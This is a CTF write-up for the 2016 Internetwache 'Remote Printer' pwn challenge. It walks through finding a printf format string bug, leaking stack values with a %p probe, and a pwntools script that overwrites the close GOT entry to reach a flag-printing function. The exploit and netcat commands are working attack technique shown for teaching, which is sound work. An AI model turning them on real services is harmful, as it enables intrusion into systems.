##                       ##

########           ########

############   ############

 ###########   ########### 

   #########   #########   

"@_    #####   #####    _@"

#######             #######

############   ############

############   ############

############   ############

######    "#   #"    ######

 #####               ##### 

  #####             #####  

    ####           ####    

       '####   ####'       

D
O

N
O
T

F
E
E
D

T
H
E

B
U
G
S

Remote Printer

[Internetwache CTF, 2016]

category: pwn

by f0rki

  • Category: Exploit
  • Points: 80
  • Description:

Printer are very very important for offices. Especially for remote printing. My boss told me to build a tool for that task.

Write-up

So this remote printer takes an address and a port and connects to the remote service. It then reads some data and outputs it. Well let's just point it to itself:

$ nc 188.166.133.53 12377
This is a remote printer!
Enter IPv4 address:127.0.0.1
Enter port:12377
Thank you, I'm trying to print 127.0.0.1:12377 now!
This is a remote printer!

The last line is the input from itself. So we probably need a listener reachable via the internet.

The binary itself is rather small, it just consists of the main function and 0x08048786. The main function uses scanf to read the ip address and port and calls the second function which connects to the given ip address and port. Then receives up to 0x2000 bytes of data and then prints it. Let's take a look at the later one:

0x08048815      6a00           push 0
0x08048817      6800200000     push 0x2000
0x0804881c      8d85e4dfffff   lea eax, [ebp-local_2055]
0x08048822      50             push eax
0x08048823      ff75f4         push dword [ebp - 0xc]
0x08048826      e885fdffff     call sym.imp.recv         ; recv 0x2000 to stack

[...]

0x08048844      83ec0c         sub esp, 0xc
0x08048847      8d85e4dfffff   lea eax, [ebp-local_2055]
0x0804884d      50             push eax
0x0804884e      e88dfcffff     call sym.imp.printf      ; input
0x08048853      83c410         add esp, 0x10
0x08048856      83ec0c         sub esp, 0xc
0x08048859      ff75f4         push dword [ebp - 0xc]
0x0804885c      e85ffdffff     call sym.imp.close
0x08048861      83c410         add esp, 0x10
0x08048864      90             nop

We can see that the buffer, which is located on the stack, is printed using printf... oh. Classic format string vulnerability. Should be easy.

$ python2 -c 'print "ABCD" + ".%p"*100' | nc -vv -l -p 4444
$ nc 188.166.133.53 12377
This is a remote printer!
Enter IPv4 address:X.X.X.X
Enter port:4444
Thank you, I'm trying to print X.X.X.X:4444 now!
ABCD.0xffffbcec.0x2000.(nil).(nil).(nil).(nil).0x44434241.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0xa.(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil)

So it's definitely a format string vulnerability and we can see that at offset 7 is the start of our format string. So that's where we can put the addresses we want to write to.

We can see that immediately after the call to printf there is a call to close. So we do the usual: Overwrite GOT entry of close with something of our liking to take over control flow. Because the organizers were nice they left us some dead code lying around that will print us the flag at 0x08048867. So we'll just redirect control flow there.

from pwn import *  # NOQA
velf = ELF("./RemotePrinter")
gotclose = velf.got["close"]
# uses two 2-byte writes to keep printed garbage at minimum
fmtstr = p32(gotclose)
fmtstr += p32(gotclose + 2)
target = 0x08048867
x = 0x0804 - 8
y = 0x8867 - 8 - x
fmtstr += "%{}c%8$hn%{}c%7$hn".format(x, y)
log.info("trying to write to got entry @ {}".format(hex(gotclose)))
log.info("overwriting with function {}".format(hex(target)))
log.info("using format string: \n" + hexdump(fmtstr))
with open("./payload", "wb") as f:
    f.write(fmtstr)
    f.write("\n")
# use with
# cat payload | nc -v -l -p 4444

And we have the flag:

YAY, FLAG: IW{YVO_F0RmaTt3d_RMT_Pr1nT3R}
/writeups/ $

$